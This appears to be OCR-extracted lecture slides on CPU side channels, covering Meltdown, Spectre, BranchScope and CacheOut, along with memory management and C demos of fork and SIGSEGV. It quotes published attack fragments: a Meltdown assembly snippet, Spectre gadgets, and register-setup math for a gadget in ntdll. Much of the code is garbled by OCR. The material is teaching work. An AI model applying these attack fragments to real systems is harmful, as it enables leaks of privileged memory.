[ W Verbatim.
www.verbatim.com

|

NVMe SSD inserted in the case

USB Type-C providing PCIe access via USB4




———— e i S S

= Disk Management — O X
File Action View Help

@ T HE =X 1 ¢ 25

Volume Layout Type File System Status Capacity Free Sp... | % Free

— (C:) Simple Basic NTFS (BitLocker Encrypted) Healthy (Boot, Page File, Crash Dump, Basic Data Partition) 953.12 GB 868.16 GB 91 %

w= (Disk O partition 1) Simple Basic Healthy (EFI System Partition) 100 MB 100 MB 100 %

== (Disk O partition 4) Simple Basic Healthy (Recovery Partition) 650 MB 650 MB 100 %

o NVMe-USB4 (... Simple Basic NTFS Healthy (Basic Data Partition) 238.46 GB 23836 GB 100 %

Basic

Online

Basic

Online

= Disk 0

953.85 GB

= Disk 1

238.46 GB

(C2)
100 MB
Healthy (EFI System Partition

953.12 GB NTFS (BitLocker Encrypted)
Healthy (Boot, Page File, Crash Dump, Basic Data Partition)

650 MB

Healthy (Recovery Partition)

NVMe-USB4 (D:)
238.46 GB NTFS
Healthy (Basic Data Partition)

B Unallocated M Primary partition

note BitLocker did not automatically cover the external NVMe

-- MS Windows 11 Professional
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Turing Machine - Mechanistic Computational Model

left/right mover finite state
machine
\ — read/write head

% \/
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infinite tape cells finite alphabet




essentially,
all models are wrong,

but some are useful

George E. P. Box

freshspectrum.com



"All models are insecure, some are safe.”



Intel Skylake
Microarchitecture (single core)

Predicted instruction flow decoded into yOPs

Out-of-order and speculative execution of
UOPs by individual units

Architecture main state vs. transient
microarchitecture state

Plenty of shared resources inducing side and
covert channels

- these are leaking the microarchitecture
state, so making the effects of the transient
execution observable
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‘From a security perspective, speculative execution involves
executing a program in possibly incorrect ways.”

—Spectre Attack Paper



The microarchitecture of Intel, AMD, and
VIA CPUs

An optimization guide for assembly programmers and
compiler makers

By Agner Fog
Copyright © 1996 - 2025. Last updated 2025-09-20.

-- https://www.agner.org/optimize/microarchitecture.pdf



Covert- or Side-Channel? (a formal note)

- Covert channel is an undesired way on how actively cooperating sender and receiver
can communicate across security boundaries

- originally, this was a vulnerability of security policy enforcing mechanisms
- formulated by Lampson at 1973 In his note on the confinement problem

- Side channel is an undesired way leaking secret values being processed, even without an
active cooperation in between the sending and receiving mechanism

- formerly focused on spontaneous leakages of secret data and vulnerabllity of security
enclaves

- Nowadays, we consider covert channels as a subset of side-channels



Meltdown

1 ; rcx = kernel address

2 ; rbxr = probe array

3 retry:

4 mov al, byte [rcx]

5 shl rax, O0Oxc

6 ]z retry

7 mov rbx, gword [rbx + rax]

Channel invocation from the attackers process

-- https://meltdownattack.com/



Channel Reception

Access time
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-- https://meltdownattack.com/



Meltdown Covert/Side Channel

Allows accessing privileged memory regions from an unprivileged process

- this actually may include the complete image of the whole physical memory

_____________________________________

Exception Handling/
Suppression

Transient

Accessed

Instructions

Microarchitectural

State Change

.........................................................

— — — — — — — — — o — — — — — — — — — — — — — — — — — — el e e— — — — —

Transfer|(Covert Channel)
Y

Architectural

Recovery

Secret @

State

Section 4.2

Recovered
Secret @

-- https://meltdownattack.com/



User Space to Another User Space Access via Kernel Maps

max

Physical memory

User

—

—
—
—
—
= —
—
~ —
—
—
= —
—
~ —
—
—
—_
—

0

Kernel

247 . 247 |

—1

Figure 2: The physical memory 1s directly mapped in the
kernel at a certain offset. A physical address (blue) which
1s mapped accessible to the user space 1s also mapped 1n

the kernel space through the direct mapping.

-- https://meltdownattack.com/



Canonical Addressing of x86-64 in |IA32e Mode

- Let us assume 48-bit canonical version for 4-level paging
- bits 63:47 of the linear (virtual) address are identical and sign-extension of the most significant bit
- OXFFFF 8 is considered a kernel-space address prefix

264

- As we are on 64-bit architecture, modulo generally applies

63 63
Noting that Z 2 = Z 2i — 204 — _ 247 (mod 204
=47 =47

we can consider the kernel-space address interval as —247 ... — 1 with low to high order preserved

-- Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 3: System Programming Guide, Intel Corp, March 2025



Covert channel or just a side channel? It depends on the context.

From the microarchitecture viewpoint

- this Is a covert channel, as an attacker is in fact actively operating both
channel ends by abusing mechanism of speculative and out-of-order
execution

In general

- this Is, of course, a side channel anyway, because covert channels are a
considered a subset of side channels, anyway



4-way set associative cache 32b example

Address

3130-- 12111098-- 3210 line size = 32 b
22 8
Tag
wa
Index y
Index V Tag Data V Tag Data V Tag Data
) (—;u._ui__) line
2

253 .
= .-.-. Se.l- OF llnes
255

22 32

Y 4-to-1 mu tiplex@

' Index =~ set no.
Hit Data




Why Page Granularity?

't may happen that several lines of the physical memory are being prefetched
INto the cache automatically

- yet another speculation, this time for cache loading
However, the prefetching algorithm shall not cross the memory page boundary

- This Is why we use the multiplier of 4096 in the original Meltdown approach

- shl rax, Oxc ; times 4096 in the example code above



Memory Management Intermezzo

Segment

Text segment

Read-only data

Initialized data

Typical ELF Section

text, .plt, .init

rodata

.data

Uninitialized data (BSS) .bss

Heap

Stack

dynamic allocation (malloc)

per-thread

Permissions

r-Xp

r--p

rw-p

rw-p

rw-p

rw-p

Purpose

Executable code (machine instructions)

Literal constants, const globals, jump tables

Global/static variables with initial values

Globals/statics initialized to zero

Grows upward at runtime

Grows downward, used for local vars, call frames




Copy on Write - CoW

Region

lext

.rodata

.data

bss

Heap

Stack

ELF section

Code

Const data

Initialized globals

Zero-init globals

Dynamic allocs

Function call frames

Initial sharing

Shared (read-only)

Shared (read-only)

Shared

Shared

Shared

Shared

CoW applies?

No

No

Yes

Yes

Yes

Yes

Notes

Executable

Read-only constants

Writes trigger CoW

Writes trigger CoW

Writes trigger CoW

CoW after first local write / push




#include <stdio.h>
#include <unistd.h>

int y;

void forktest() {
int x;
pid t p, pid, ppid;

X =y =1;

p = fork();

pid = getpid() ;
ppid = getppid();

if (!'p)
printf ("Child: pid = %1d, ppid = %1d, x = %d, y = %d\n", (long)pid, (long)ppid, ++x,
++y) ;
else
printf ("Parent: pid = %1d, ppid = %1d, cpid = %$1d, x = %d, y = %d\n", (long)pid,
(1ong)pp:|.d, (long)p, -—X, __Y);
}

int main() {
forktest () ;
return O;



#include <stdio.h>
#include <unistd.h>

int y;

void forktest() {
int x;
pid t p, pid, ppid;

x =y =1;

p = fork();

pid = getpid() ;
ppid = getppid() ;

if (!'p)
printf ("Child: pid = %1d, ppid = %1d, x = %d, y = %d\n", (long)pid, (long)ppid, ++x,
++y) ;
else
printf ("Parent: pid = %1d, ppid = %1d, cpid = %$1d, x = %d, y = %d\n", (long)pid,

(1ong)pp1d, (long)p, --X, __Y);
} r

int main() {
forktest () ;
return 0O;




volatile char *cp, *xcp;
int callno;

void catcher (int signo) {
printf ("caught sig %d call #%d with global pointer %p\n", signo, ++callno, (void*)cp):;

}

if (callno < 4) {
cp--;
printf (" - global pointer value adjusted: %p\n", (void*)cp);
if (signal (SIGSEGV, catcher) < 0)
perror ("signal handler refresh failed:") ;
} else {

printf (" ! retry threshold exceeded, giving up - ignoring SIGSEGV\n") ;

if (signal (SIGSEGV, SIG IGN) < 0)
perror ("SIG IGN setup failed:");

int main(int argc, char *argv|[]) {

signal (SIGSEGV, catcher);
cp = (char*)sbrk(0);

printf ("original brk value before first printf(): %p\n", (void¥*)cp);

cp = (char*)sbrk(0);
printf ("original brk value _after first printf(): %p\n", (void*)cp):;
Xcp = cp - 1;

*xcp = 1;
printf ("test write at %$p: %$s\n", (void*)xcp, (char*) (*xcp == 1 ? "OK"
*cp = 1;

printf ("terminating gracefully with %d at %$p\n", (int)*cp, cp);
return O;

"FAILED")) ;



volatile char *cp, *xcp;
int callno; ARM64

void catcher (int signo) {
printf ("caught sig %d call #%d with global pointer %p\n", signo, ++callno, (void*)cp):;
i1f (callno < 4) {
cp--;
printf (" - global pointer value adjusted: %p\n", (void*)cp):;
if (signal (SIGSEGV, catcher) < 0)
perror ("signal handler refresh failed:");
} else {
printf (" ! retry threshold exceeded, giving up - ignoring SIGSEGV\n") ;
if (signal(SIGﬂF"‘" CTA TN~ N\

perror ("SI

}

int main(int argc, chzs
signal (SIGSEGV, cs
cp = (char*)sbrk((
printf ("original I
cp = (char¥*)sbrk((
printf ("original I
Xxcp = cp - 1;
*xcp = 1;
printf ("test write

*cp = 1;

printf ("terminatir
return 0;




volatile char *cp, *xcp;
int callno; ARM64

ith global pointer %p\n", signo, ++callno, (void¥*)cp);

value adjusted: %p\n", (void*)cp);
< 0)
efresh failed:");

] eise

printf (" ! retry threshold exceeded, giving up - ignoring SIGSEGV\n") ;

i f (signal(SIC 7 ST TANY -~ N\
perror ("SI

}

int main(int argc, chzs
signal (SIGSEGV, cs
cp = (char*)sbrk((
printf ("original I
cp = (char¥*)sbrk((
printf ("original I
Xxcp = cp - 1;
*xcp = 1;
printf ("test write

*cp = 1;

printf ("terminatir
return 0;




char *cp;
int sum;
int callno;

void catcher (int signo) {
printf ("caught sig %d call #%d at addr %p\n", signo, ++callno, (void*)cp):;
if (sbrk(1024) == (void¥*)-1)
perror ("sbrk failed:");
printf (" - new brk value %$p\n", sbrk(0));
if (signal (SIGSEGV, catcher) < 0)
perror ("signal handler refresh failed:");

int main(int argc, char *argv|[]) {
signal (SIGSEGV, catcher)
cp = (char*)sbrk(0);
printf ("original brk value before first printf(): %p\n", cp);
cp = (char*)sbrk(0);
printf ("original brk value after first printf(): %p\n", cp);

for (sum = 0, callno = 0; callno < 8; sum += *cp++)
*cp = 1;

printf ("sum: %d\n", sum);
return O;



char *cp;
int sum;
int callno;

void catcher (int si«
printf ("caught
if (sbrk(1024)
perror ("sbr
printf (" - new 1
if (signal (SIGS
perror ("sig

main (int argc,

signal (SIGSEGV,
cp = (char*)sbr
printf ("origina
cp = (char*)sbr
printf ("origina

for (sum = 0, c:
*cp = 1;

printf ("sum: 3%d
return 0;




Spectre

+Targets the memory of a victim process from another (possibly user-space)
DrOCESS

- also possible within the same process - e.g. JavaScript sandlbox escape

- Abuses a latent transmitting gadget already present in the victim process

1f (x < arrayl_size)

(
y = array2larrayl[x] = 4096];

Spectre Variant 1 - conditional branch misprediction
-- https://spectreattack.com/



1f (x < arrayl_size)

(
y = array2[arrayl[x] *= 4096];

1f <in bounds>

actual value

predicted value

predicted

gain loss  loss & risk gain
-- https://spectreattack.com/



Spectre - Variant 2

LT UnNC

c10n

func

tion A
B

Branch
Predictor

Indirect branch target misprediction

spectre gadget

legit

function] .

e [Ndads

L J
...
"agguunt

c10n

func:

-- https://spectreattack.com/



Return-Oriented Programming (ROP) Similarities

- Ihe attacker relies on the code that Is already existing in the attacked process
memory map - such a code iIs called gadget

- also similar to LOLBIN mentioned with Powershell above

In Spectre Variant 2, the gadget is invoked via indirect jump, having a similar
role to stack-driven returns in ROP here

- notably, the gadget does not have to terminate cleanly, since this all
happens In a transient microarchitecture context




Spectre Variant 2 Gadget Example

adc edi,dword ptr [ebx+tedx+13
adc dl,byte ptr [edi]

=]

13!

Dh]

- Found in ntdll.d11l on both Windows 8 and Windows 10

- Assumes the attacker can control edi and ebx, while knowing edx

- the assumption has to hold before the indirect branch occurs that in turn leads to the gadget invocation

- S0, the attacker has to find both the susceptible branch together with the useful gadget in the victim

context memory map

- Setting ebx = m - edx - 0x13BE13DB selects the memory location m whose content is to be transmitted
by the cache side channel by fetching the edi address in the second adc instruction

-- https://spectreattack.com/



Branch Scope

Instead of using Branch Predictor (BP) as a helping tool for the side-channel
opening (cf. Spectre), it uses BP right as the main channel medium

Weak states

T, T _ T T

N N

Strong states

SN ~ Strongly Not Taken, WN ~ Weakly Not Taken,
ST ~ Strongly Taken, WT ~ Weakly Taken

-- https://www.cs.ucr.edu/~nael/pubs/asplos18.pdf



Revealing The Predictor State After Target Branch Processed
- using two consecutive TT and NN probes (2x2 jumps) or state priming

Weak states

T _T__.T

N \\NStrongl Statey

prime -> execute target -> probe

Prime State Target State Probe Observation
after after
Prime Target
TTT ST T ST TT HH
TTT ST T ST NN MM
TTT ST N WT TT HH
TTT ST N WT NN MH'
NNN SN T WN TT MH
- NNN SN T WN NN HH
NNN SN N SN TT MM
- NNN SN N SN NN HH

-- https://www.cs.ucr.edu/~nael/pubs/asplos18.pdf




Branch Scope Channel At Work

mov Ox601080(,%rax,4),%eax

if (datali]) test %eax, %eax

asm ("nop;nop"); | je 300006d <victim_f+0x6d> (datali] == 0): TAKEN
nop
nop
Victim Spy Original o|1|1]1]1]1]o]1|1]0
~ [TNNNNNTNNT] |NN N Spy MEMIEMEMIEMIM
|f(){ e : If(){ Measurements(M|H|H |H|H|HMHM{M
t> Direct Decoded olil1lil1lilolilolo
----- Pred T Results
} \ ) ';:> } [Spy Dict: MM, HM - 0] -
[ﬂHMHMHMHMM MH, HH -1 Q
MHHHHHMHMM

- https://www.cs.ucr.edu/~nael/pubs/asplos18.pdf primed to Strongly Taken, M ™ BP Miss, H = BP Hit



How does Intel® Software Guard Extensions work? Enclave Basics
A Quick Summary

Application 1. App is built with
ﬂntrusted Part Trusted Part\ g:rized and untrusted
WADR Call Gate i 2. App runs & creates
/ 3 \ 0 enclave, which is
Create Enclave Execute placed in trusted
% memory
% 3. Trusted function is
CallTrusted Func. A called; code running
Inside enclave sees
(etc.) \m8U3ch#zP49QJ data in clear; external
access to data is
denied
\K J 4. Function returns;
enclave data remains
In trusted memory
[ Privileged System Code, OS, VMM, BIOSTSMM, .. ]

Platforms Security Division ( intel' ‘



CacheOut SGX Leakage

(Software Guard Extensions)

- Assume a malicious OS kernel

- despite being unable to read the protected
enclave content directly, it still has to be able to
operate it

- ewb and eldu Instructions allow the malicious

kernel to force-load protected data into L1-D
cache

- this works even when the SGX enclave is not
running at all

- the rest is the CacheOut technique itself
- note malicious kernel can also turn off certain Fig. 10: On the left the original picture (128x194) and on the

CacheOut countermeasure, thereby reenabling right the picture recovered from an SGX.
the covert channel

-- https://cacheoutattack.com/files/CacheOut.pdf



Line Fill Buffer (LFB) Interplay with L1 Cache

i Fill Buffer (12 entries) H
Processor I L2 Cache
Core 256 KiB
~ L1-D Cache (32 KiB) _

Read Path Processor Core

Write Path @@ ﬁ

Bl New Path| | L1-D Cache (32 KiB) | < _Fill Buffer (12 entries)

& 1

L2 Cache (256 KiB)

-- https://cacheoutattack.com/files/CacheQut.pdf



Once Upon a Time (20006)

S M S S S S M
-Illllll-l -II-I-I Hrnm

n—iﬁr "'E"L-- :i"

[.1 classes

Latency scans

Fig. 2. SW exponentiation observed through the side channel of LL1 cache

-- https://ok1sfu.cz/files/SACO6-rosa-hlavac.pdf



Shall we recommend some intro books for you now...

INTRODUCTION ' CLOBARS THE
TO COMPUTER ‘ ' . @ DESIGN
Computer Organization OF THE .
* and Architecture
Designing for Performance
pisading e OPERATING

SYSTEM

- plus then any title on UNIX / Linux system programming that you are comfortable with

- pay attention to distinguishing system programming vs kernel programming



Source Codes

- https://ok1sfu.cz/files/pscamp/forktest.c
- https://ok1sfu.cz/files/pscamp/siglooptest.c
- https://ok1sfu.cz/files/pscamp/siglooptest.s

- https://ok1sfu.cz/files/pscamp/brktest.c
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History (year-month-day format)

- 2025-10-27, version 1.3 Further CPU vulnerabllities added

- 2025-10-22, version 1.2b USB Type-C section updated

- 2025-10-20, version 1.2 CPU vulnerabilities added

- 2025-10-14, version 1.1b further USB PD / CC notes made

- 2025-10-13, version 1.1 USB Type-C vectors added

- 2025-10-06, version 1 containing USB-HID release, used for MFF UK lectures

- 2025-09-01, revised and extended version of former lectures created




